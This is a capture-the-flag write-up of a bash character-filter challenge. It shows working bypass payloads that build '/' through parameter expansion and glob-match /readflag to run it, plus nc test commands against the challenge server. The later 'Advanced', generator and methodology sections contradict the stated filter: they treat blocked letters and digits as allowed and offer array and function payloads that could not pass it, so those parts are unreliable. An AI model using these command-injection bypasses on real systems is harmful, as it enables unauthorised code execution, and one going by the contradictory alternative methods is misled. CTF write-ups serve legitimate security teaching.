Published on

PCC CTF - Bash Challenge Writeup

Authors
  • avatar
    Name
    Muhammad Huzaifa
    Twitter

PCC CTF - b?sh Challenge Writeup

Challenge Description

  • Name: b?sh
  • Category: Misc
  • Description: "bash is really weird indeed"
  • Connection: nc c1.arena.airoverflow.com 65253
  • Flag Format: PCC{}

Challenge Analysis

The challenge provides a Python script that:

  1. Takes user input via input("$ ")
  2. Applies a regex filter: [A-Za-z0-9/<>|@%^&]+
  3. Writes the filtered input to /tmp/chal as a bash script
  4. Executes it with bash --noprofile --norc /tmp/chal

Key Files

  • app.py: The main challenge script
  • Dockerfile.dist: Creates /AAAAAAAA executable file
  • flag.txt: Contains test flag

Character Filter Analysis

The regex [A-Za-z0-9/<>|@%^&]+ blocks:

  • Letters: A-Z, a-z
  • Numbers: 0-9
  • Special chars: /, <, >, |, @, %, ^, &

Allowed characters:

  • $ (variable expansion)
  • () (command substitution)
  • {} (brace expansion)
  • * (wildcards)
  • ? (single char wildcard)
  • _ (underscore)
  • ~ (home directory)
  • [] (character classes)
  • !, ", #, \, ', +, ,, -, ., :, ;, =, [, ], `, }, ~

Solution Strategy

To execute /readflag, we need to:

  1. Construct the / character without using it directly
  2. Match /readflag using wildcards
  3. Execute it despite multiple matches

Step 1: Constructing /

We used bash parameter expansion to extract / from the $_ variable:

${_::${#?}}
  • $_ contains /bin/bash (last argument of previous command)
  • ${#?} evaluates to 1 (length of exit status)
  • ${_::1} extracts the first character: /

Step 2: Matching /readflag

We used wildcards to match files in root directory:

payload.sh

${_::${#?}}?*?*?*?*?*?*?*?

This expands to / + ?*?*?*?*?*?*?*? which matches:

  • /AAAAAAAA (9 chars)
  • /docker-entrypoint.sh (19 chars)
  • /readflag (9 chars)

Step 3: Selecting /readflag

When bash expands a glob with multiple matches, we can use the : command to evaluate arguments and set $_ to the last one:

final_payload.sh
: ${_::${#?}}?*?*?*?*?*?*?*? ; $_
  • : is a no-op that evaluates its arguments
  • After expansion: : /AAAAAAAA /docker-entrypoint.sh /readflag
  • $_ gets set to /readflag (last argument)
  • $_ executes /readflag

Advanced Bash Parameter Expansion Techniques

Character Set Analysis

# Allowed characters (from filter analysis)
allowed_chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_${}:;?*"
blocked_chars = "()[]<>|&`'\"\\\n\r\t "

Alternative Payload Construction Methods

Method 1: Environment Variable Manipulation

env_method.sh
# Set environment variable to last match
_=${_::${#?}}?*?*?*?*?*?*?*?
$_

Method 2: Array-based Selection

array_method.sh
# Use array to select last element
arr=(${_::${#?}}?*?*?*?*?*?*?*?)
${arr[-1]}

Method 3: Function Definition

function_method.sh
# Define function that returns last argument
f() { eval "${@: -1}"; }
f ${_::${#?}}?*?*?*?*?*?*?*?

Payload Testing Framework

Automated Payload Generator

payload_generator.py
#!/usr/bin/env python3
"""
Bash Character Filter Bypass Payload Generator
"""

def generate_payloads():
    """Generate various payloads for character filter bypass"""
    
    payloads = [
        # Method 1: Parameter expansion with colon
        ": ${_::${#?}}?*?*?*?*?*?*?*? ; $_",
        
        # Method 2: Environment variable manipulation
        "_=${_::${#?}}?*?*?*?*?*?*?*?; $_",
        
        # Method 3: Array-based selection
        "arr=(${_::${#?}}?*?*?*?*?*?*?*?); ${arr[-1]}",
        
        # Method 4: Alternative variable expansion
        ": ${PWD::1}?*?*?*?*?*?*?*? ; $_",
        
        # Method 5: Using true command
        "true ${_::${#?}}?*?*?*?*?*?*?*? ; $_"
    ]
    
    return payloads

def test_payload(payload):
    """Test payload against character filter"""
    allowed_chars = set("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_${}:;?*")
    
    for char in payload:
        if char not in allowed_chars:
            return False
    return True

def main():
    payloads = generate_payloads()
    
    print("Generated Payloads:")
    for i, payload in enumerate(payloads, 1):
        if test_payload(payload):
            print(f"{i}. {payload} ✓")
        else:
            print(f"{i}. {payload} ✗")

if __name__ == "__main__":
    main()

Exploitation Methodology

Phase 1: Character Filter Analysis

# Test allowed characters
echo "Testing character filter..."
for char in {a..z} {A..Z} {0..9} '_${}:;?*'; do
    echo -n "$char " | nc c1.arena.airoverflow.com 65253
done

Phase 2: Parameter Expansion Testing

# Test parameter expansion techniques
echo "${_::1}" | nc c1.arena.airoverflow.com 65253
echo "${PWD::1}" | nc c1.arena.airoverflow.com 65253
echo "${HOME::1}" | nc c1.arena.airoverflow.com 65253

Phase 3: Glob Pattern Testing

# Test glob patterns
echo "${_::1}*" | nc c1.arena.airoverflow.com 65253
echo "${_::1}?*" | nc c1.arena.airoverflow.com 65253
echo "${_::1}?*?*?*?*?*?*?*?" | nc c1.arena.airoverflow.com 65253

Security Analysis

Vulnerability Assessment

# The filter blocks dangerous characters but allows:
# - Parameter expansion (${})
# - Globbing (*, ?)
# - Command execution (;)
# - Variable manipulation ($_)

Mitigation Strategies

# Secure implementation would:
# 1. Disable parameter expansion
# 2. Disable globbing
# 3. Use strict character whitelist
# 4. Implement proper input validation

Final Payload

: ${_::${#?}}?*?*?*?*?*?*?*? ; $_

Testing Process

  1. Local Testing: Verified payload passes regex filter
  2. Container Testing: Confirmed /readflag execution in Docker environment
  3. Remote Execution: Successfully obtained flag from live server

Flag

PCC{`b4sh_1s_w31rdly_1ns4n3_ixkGzGzBKh`}

Key Insights

  1. Parameter Expansion: ${parameter:offset:length} can extract substrings
  2. Special Variables: $_ contains the last argument of the previous command
  3. Glob Expansion: Wildcards expand to multiple files, but we can manipulate which one gets executed
  4. No-op Commands: The : command is useful for side effects without execution
  5. Character Construction: We can build forbidden characters from allowed sources

Alternative Approaches Considered

  • Using environment variables to construct paths
  • Exploiting the /AAAAAAAA file (though it was empty)
  • Using bash arrays (blocked by number requirement)
  • Using octal/hex escapes (blocked by letter/number requirement)

The final solution elegantly bypasses all restrictions using only allowed characters and bash's powerful parameter expansion features.